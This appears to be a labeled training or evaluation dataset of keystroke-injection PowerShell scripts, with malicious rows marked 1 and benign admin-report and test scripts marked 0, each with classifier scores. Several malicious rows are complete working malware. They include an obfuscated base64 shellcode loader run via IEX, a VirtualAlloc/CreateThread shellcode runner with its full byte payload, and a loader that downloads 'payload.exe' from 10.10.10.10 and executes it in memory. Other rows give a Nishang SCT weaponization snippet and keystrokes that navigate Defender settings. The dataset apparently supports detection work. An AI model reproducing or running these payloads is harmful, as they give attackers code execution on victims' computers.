win+r powershell enter  [CmdletBinding()] Param ( ) [string]$appDeployToolkitExtName = 'PSAppDeployTo enter olkitExt' [string]$appDeployExtScriptFriendlyName = 'App Deploy Toolkit Extensio enter ns' [version]$appDeployExtScriptVersion = [version]'3.8.0' [string]$appDeployExt enter ScriptDate = '23/09/2019' [hashtable]$appDeployExtScriptParameters = $PSBoundPar enter ameters If ($scriptParentPath) { enter,1,1,0.0015920536,0.998408
"win+r enter powershell enter enter enter Set-StrictMode -Version 2 enter enter $a11 = 'ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCklmIChbSW50UHRyXTo6c2l6ZSAtZXEgOCkgewoJW0J5dGVbXV0kdmFyX2NvZGUgPSBbU3lzdGVtLkNvbnZlcnRdOjpGc' enter $a2 = 'm9tQmFzZTY0U3RyaW5nKCczMnVneDlQTDZ5TWpJMkp5WW5OeGNuVnJFdkZHYTZoeFEydW9jVHRycUhFRGE2aFJjMnNzbEdscGJoTHFheExqang5Q1h5RVBBMkxpNmk1aUl1TEJ6bkZpY211b2NRT29ZUjlySXZORm9sczdLQ0ZXVWFpanF5TWpJMnVtNDFkRWF5THpjNmhyTzJlb1l3TnFJdlBBZFd2YzZtS29GNnRySXZWdUV1cHJFdU9QWXVMcUxtSWk0aHZEVnRKdklHOEhLMllhOGxiN2UyZW9Zd2RxSXZORllxZ3ZhMmVvWXo5cUl2TmlxQ2VyYXlMelludGllMzE2ZVdKN1lucGllV3VnendOaWNkekRlMko2ZVd1b01jcHMzTnpjZmtramFwMVVTazFLVFVaWEkySjFhcXJGYjZyU1lwbHZWQVVrM1BackV1cHJFdkZ1RXVOdUV1cGljMkp6WXBrWmRWcUUzUGJJVUhscnF1SmltMm0vSXlOdUV1cGljbUp5U1NCaWNtS1pkS3E4NWR6MnlIcDRhNnJpYXhMeGFxcjdiaExxY1VzaklXT25jWEZpbWNoMkRSamM5bXVxNVd1ZzRITkpLWHhycXRKcnF2bHE1T1BjM056Y2JoTHFjWEZpbVE0bE8xamM5cWJqTEthK0lpTWphOXpzTEtldklpTWp5UERLeHlJakk4dUIzTnpjREdaSUZsc2pGbXdDY3daalluTjRGMzl6ZVhzV0Z3dHpmUW9VWUdBS0ZGNEhabXBnWW5FT2NIZGliV2RpY1djT1ltMTNhblZxY1had0RuZG1jSGNPWldwdlpnSUhhd2hyQ1NNV2JBSnpCaU4yVUVaUkRtSkVSazFYR1FOdVRGbEtUMDlDREJZTkV3TUxRRXhPVTBKWFNrRlBSaGdEYm5CcVpnTVNFdzBUR0FOMFNrMUhURlJRQTIxM0F4VU5FUmdEZEVwTkZSY1lBMXNWRnhnRGQxRktSMFpOVnd3VkRSTVlBMkp3ZGhGcGNBb3VLU01XYkFKekJtTmljM2dYZjNONWV4WVhDM045Q2hSZ1lBb1VYZ2RtYW1CaWNRNXdkMkp0WjJKeFp3NWliWGRxZFdweGRuQU9kMlp3ZHc1bGFtOW1BZ2RyQ0dzSkl4WnNBbk1HWTJKemVCZC9jM2w3RmhjTGMzMEtGR0JnQ2hSZUIyWnFZR0p4RG5CM1ltMW5ZbkZuRG1KdGQycDFhbkYyY0E1M1puQjNEbVZxYjJZQ0Iyc0lhd2tqRm13Q2N3WmpZbk40RjM5emVYc1dGd3R6ZlFvVVlHQUtGRjRIWm1wZ1luRU9jSGRpYldkaWNXY09ZbTEzYW5WcWNYWndEbmRtY0hjT1pXcHZaZ0lIYXdockNTTWpZcDNUbG9GMTNQWnJFdXFaSXlOakkyS2JJek1qSTJLYVl5TWpJMktaZTRkd3h0ejJhN0J3Y0d1cXhHdXEwbXVxK1dLYkl3TWpJMnFxMm1LWk1iV3F3ZHoyYTZEbkE2YmpWNVZGcUNSckl1Q200MWIwZTN0N2F5WWpJeU1qYytETHZON2MzQmNRRFJJUkdnMFJFaGNORWhjUUl5TWpJeU09JykKCglmb3IgKCR4ID0gMDsgJHggLWx0ICR2YXJfY29kZS5Db3VudDsgJHgrKykgewoJCSR2YXJfY29kZVskeF0gPSAkdmFyX2NvZGVbJHhdIC1ieG9yIDM1Cgl9CgoJJHZhcl92YSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChmdW5jX2dldF9wcm9jX2FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvYyksIChmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIEAo' enter $a3 = 'W0ludFB0cl0sIFtVSW50MzJdLCBbVUludDMyXSwgW1VJbnQzMl0pIChbSW50UHRyXSkpKQoJJHZhcl9idWZmZXIgPSAkdmFyX3ZhLkludm9rZShbSW50UHRyXTo6WmVybywgJHZhcl9jb2RlLkxlbmd0aCwgMHgzMDAwLCAweDQwKQoJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkdmFyX2NvZGUsIDAsICR2YXJfYnVmZmVyLCAkdmFyX2NvZGUubGVuZ3RoKQoKCSR2YXJfcnVubWUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkdmFyX2J1ZmZlciwgKGZ1bmNfZ2V0X2RlbGVnYXRlX3R5cGUgQChbSW50UHRyXSkgKFtWb2lkXSkpKQoJJHZhcl9ydW5tZS5JbnZva2UoW0ludFB0cl06Olplcm8pCn0=' enter enter $aa=[System.Text.Encoding]::UTF8.GetString([System.Convert]::Frombase64String($a11+$a2+$a3)) enter enter if ([IntPtr]::size -eq 8) enter { enter start-job{ param($a) IEX $a} -RunAs32 -Argument $aa | wait-job | Receive-Job enter } enter else enter { enter IEX $aa#这里有可能会执行不到，要将其拿出来执行 enter } enter enter IEX $aa enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) enter $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter enter $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) enter $var_runme.Invoke([IntPtr]::Zero) enter } enter enter",1,1,5.740007e-05,0.99994254
win+r powershell enter Set-StrictMode -Version 2 function Ylois { $VtI=UxNkw P 6 W Y q t y W T 3 6 $YGF enter wZd=DfQi a O q m P u X 1 a n o u $EqElKA=wPbtM 1 / V W 3 B b W Q V T 1 $i91P=Fam enter Fk d 7 9 W d q + q T e 3 W $bm8=KHUchb k r q 6 a p u + 2 $pylIp=lHMo d v T 7 b ' enter 1' q 5 p D a e p q $suu=mGlb o X q 5 n R K V D 7 $LvfQj=UEfa V j W y 1 3 q v 6 $ enter Bacz=fpbQRj '2' enter enter,1,1,5.553334e-05,0.99994445
win space Safari enter win t https://www.youtube.com/watch?v=xm3YgoEiEDc enter f,1,1,0.000117803895,0.9998822
"win+r powershell enter function Out-SCT { <# .SYNOPSIS Nishang script useful for creating ""weaponized"" enter SCT files which could be used to run PowerShell commands and scripts. .DESCRIPT enter ION The script generates a SCT file with an XML extension. The file (default nam enter e UpdateCheck.xml) needs to be hosted on a web server and using regsvr32 built- enter in executable it could be executed on a target with minimal traces. The extens enter ion of the generated file doesn't matter and any extension can be used. enter enter",1,1,6.136419e-05,0.9999386
win+r enter powershell enter enter enter #powershell反射式加载 enter $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe') enter $assem = [System.Reflection.Assembly]::Load($data) enter [TotallyNotMal.Program]::Main() enter enter,1,1,5.8032194e-05,0.99994195
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_22lms8td"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter",0,0,0.99996626,3.37342e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_vsvn3can"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_50.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4176002e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_7xvd7f64"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.424804e-05
"win+r powershell enter $serviceBaseName = 'CarbonUninstallServiceTest' enter $serviceName = $serviceBaseName enter $servicePath = Join-Path -Path $PSScriptRoot -ChildPath 'Service\NoOpService.exe' -Resolve enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter function Uninstall-TestService enter { enter if( (Get-Service $serviceName -ErrorAction SilentlyContinue) ) enter { enter Stop-Service $serviceName enter & C:\Windows\system32\sc.exe delete $serviceName enter } enter } enter function GivenServiceStillRunsAfterStop enter { enter Mock -CommandName 'Stop-Service' -ModuleName 'Carbon' enter } enter function Init enter { enter $Global:Error.Clear() enter Uninstall-TestService enter Install-Service -Name $serviceName -Path $servicePath enter } enter function ThenServiceUninstalled enter { enter param( enter [Parameter(Mandatory)] enter [string] enter $Named enter ) enter while( (Get-Service $Named -ErrorAction Ignore) ) enter { enter Write-Verbose -Message ('Waiting for ""{0}"" to get uninstalled.' -f $Named) -Verbose enter Start-Sleep -Seconds 1 enter } enter It ('should uninstall service') { enter Get-Service $Named -ErrorAction Ignore | Should -BeNullOrEmpty enter } enter } enter function WhenUninstalling enter { enter param( enter [Parameter(Mandatory)] enter [string] enter $Named, enter $WithTimeout enter ) enter $optionalParams = @{ } enter if( $WithTimeout ) enter { enter $optionalParams['StopTimeout'] = $WithTimeout enter } enter Uninstall-Service -Name $Named @optionalParams enter } enter Describe 'Uninstall-Service' { enter It 'should remove service' { enter Init enter $service = Get-Service -Name $serviceName enter $service | Should Not BeNullOrEmpty enter $output = Uninstall-Service -Name $serviceName enter $output | Should BeNullOrEmpty enter $service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue enter $service | Should BeNullOrEmpty enter } enter It 'should not remove non existent service' { enter Init enter $error.Clear() enter Uninstall-Service -Name ""IDoNotExist"" enter $error | Should BeNullOrEmpty enter } enter It 'should support what if' { enter Init enter Uninstall-Service -Name $serviceName -WhatIf enter $service = Get-Service -Name $serviceName enter $service | Should Not BeNullOrEmpty enter } enter } enter Describe 'Uninstall-Service.when service doesn''t stop' { enter Init enter GivenServiceStillRunsAfterStop enter WhenUninstalling $serviceName enter ThenServiceUninstalled $serviceName enter } enter Describe 'Uninstall-Service.when waiting for service to really stop' { enter Init enter GivenServiceStillRunsAfterStop enter WhenUninstalling $serviceName -WithTimeout (New-TimeSpan -Seconds 1) enter ThenServiceUninstalled $serviceName enter } enter Describe 'Uninstall-Service.when service never stops' { enter Init enter GivenServiceStillRunsAfterStop enter Mock -CommandName 'Get-Process' -ModuleName 'Carbon' { return [pscustomobject]@{ Id = $Id[0] } } enter Mock -CommandName 'Start-Sleep' -ModuleName 'Carbon' enter WhenUninstalling $serviceName -ErrorAction SilentlyContinue enter $Global:Error[0] | Should -Match 'Failed to kill' enter ThenServiceUninstalled $serviceName enter } enter Describe 'Uninstall-Service.when service stops before getting killed' { enter Init enter GivenServiceStillRunsAfterStop enter $global:callCount = 0 enter Mock -CommandName 'Get-Process' -ModuleName 'Carbon' -MockWith { enter $global:callCount++ enter if( $global:callCount -eq 1 ) enter { enter [pscustomobject]@{ Id = $Id[0] } enter } enter else enter { enter foreach( $item in $ID ) enter { enter $process = [Diagnostics.Process]::GetProcessById($item) enter if( $process ) enter { enter $process.Kill() enter $process.WaitForExit() enter } enter } enter } enter } enter Mock -CommandName 'Stop-Process' -ModuleName 'Carbon' -MockWith { Write-Error 'FUBAR!' -ErrorAction $ErrorActionPreference } enter WhenUninstalling $serviceName enter $Global:Error | Where-Object { $_ -match 'FUBAR' } | Should -BeNullOrEmpty enter ThenServiceUninstalled $serviceName enter Remove-Variable -Name 'callCount' -Scope Global enter } enter Uninstall-TestService enter",0,0,0.999928,7.201853e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_fux29bon"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter",0,0,0.9999664,3.3612367e-05
windows defender security center enter enter enter enter tab tab tab tab enter enter tab tab tab tab tab tab alt f4,1,1,0.0010745425,0.9989254
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install msvisualcplusplus2012-redist enter A enter enter,0,0,0.9999596,4.036974e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_9ukj5fz3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.47012e-05
"this text will be writtenasdf"" \ ""asdasd""ctrl s alt f4 helloeins zwei polizeilololo enter",0,1,0.0004306667,0.99956936
"win+r enter powershell enter enter enter properties { enter $container = @{} enter $container.foo = ""foo"" enter $container.bar = $null enter $foo = 1 enter $bar = 1 enter } enter enter task default -depends TestInit enter enter task TestInit { enter Assert ($container.foo -eq ""foo"") ""$container.foo should be foo"" enter Assert ($container.bar -eq ""bar"") ""$container.bar should be bar"" enter Assert ($container.baz -eq ""baz"") ""$container.baz should be baz"" enter Assert ($foo -eq 1) ""$foo should be 1"" enter Assert ($bar -eq 2) ""$bar should be 2"" enter Assert ($baz -eq 3) ""$baz should be 3"" enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xe5,0xd9,0x74,0x24,0xf4,0x5e,0xb8,0x02,0xad,0x7a,0x86,0x31,0xc9,0xb1,0x47,0x83,0xee,0xfc,0x31,0x46,0x14,0x03,0x46,0x16,0x4f,0x8f,0x7a,0xfe,0x0d,0x70,0x83,0xfe,0x71,0xf8,0x66,0xcf,0xb1,0x9e,0xe3,0x7f,0x02,0xd4,0xa6,0x73,0xe9,0xb8,0x52,0x00,0x9f,0x14,0x54,0xa1,0x2a,0x43,0x5b,0x32,0x06,0xb7,0xfa,0xb0,0x55,0xe4,0xdc,0x89,0x95,0xf9,0x1d,0xce,0xc8,0xf0,0x4c,0x87,0x87,0xa7,0x60,0xac,0xd2,0x7b,0x0a,0xfe,0xf3,0xfb,0xef,0xb6,0xf2,0x2a,0xbe,0xcd,0xac,0xec,0x40,0x02,0xc5,0xa4,0x5a,0x47,0xe0,0x7f,0xd0,0xb3,0x9e,0x81,0x30,0x8a,0x5f,0x2d,0x7d,0x23,0x92,0x2f,0xb9,0x83,0x4d,0x5a,0xb3,0xf0,0xf0,0x5d,0x00,0x8b,0x2e,0xeb,0x93,0x2b,0xa4,0x4b,0x78,0xca,0x69,0x0d,0x0b,0xc0,0xc6,0x59,0x53,0xc4,0xd9,0x8e,0xef,0xf0,0x52,0x31,0x20,0x71,0x20,0x16,0xe4,0xda,0xf2,0x37,0xbd,0x86,0x55,0x47,0xdd,0x69,0x09,0xed,0x95,0x87,0x5e,0x9c,0xf7,0xcf,0x93,0xad,0x07,0x0f,0xbc,0xa6,0x74,0x3d,0x63,0x1d,0x13,0x0d,0xec,0xbb,0xe4,0x72,0xc7,0x7c,0x7a,0x8d,0xe8,0x7c,0x52,0x49,0xbc,0x2c,0xcc,0x78,0xbd,0xa6,0x0c,0x85,0x68,0x52,0x08,0x11,0x53,0x0b,0x13,0x8a,0x3b,0x4e,0x14,0x5d,0xe0,0xc7,0xf2,0x0d,0x48,0x88,0xaa,0xed,0x38,0x68,0x1b,0x85,0x52,0x67,0x44,0xb5,0x5c,0xad,0xed,0x5f,0xb3,0x18,0x45,0xf7,0x2a,0x01,0x1d,0x66,0xb2,0x9f,0x5b,0xa8,0x38,0x2c,0x9b,0x66,0xc9,0x59,0x8f,0x1e,0x39,0x14,0xed,0x88,0x46,0x82,0x98,0x34,0xd3,0x29,0x0b,0x63,0x4b,0x30,0x6a,0x43,0xd4,0xcb,0x59,0xd8,0xdd,0x59,0x22,0xb6,0x21,0x8e,0xa2,0x46,0x74,0xc4,0xa2,0x2e,0x20,0xbc,0xf0,0x4b,0x2f,0x69,0x65,0xc0,0xba,0x92,0xdc,0xb5,0x6d,0xfb,0xe2,0xe0,0x5a,0xa4,0x1d,0xc7,0x5a,0x98,0xcb,0x21,0x29,0xf0,0xcf;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1900668e-05,0.99994814
win r powershell start-process powershell -verb runas enter enter alt y enter,1,1,0.014993247,0.98500675
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_9o99lf51"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.431136e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_5a07vews"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996424,3.573809e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_txqv5vl5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4366345e-05
"win+r powershell enter [byte[]] $zKuQ = @(0xad,0xde,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00 enter ,0xff,0xff,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 enter ,0xb8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c enter ,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63 enter ,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20 enter ,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 enter ,0x00,0x00,0x00,0x00 enter enter",1,1,5.643547e-05,0.9999436
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_yxpbno8o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4346816e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_2arf2620"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.421265e-05
win+r powershell enter describe 'Get-DhcpLease' { mock 'Get-DhcpServerv4Scope' { [pscustomobject]@{ enter 'ScopeId' = '10.10.10.0' } } mock 'Get-DhcpServerv4Lease' { return $null enter } mock 'Get-DhcpServerInDc' { @( enter enter,1,1,0.009772094,0.99022794
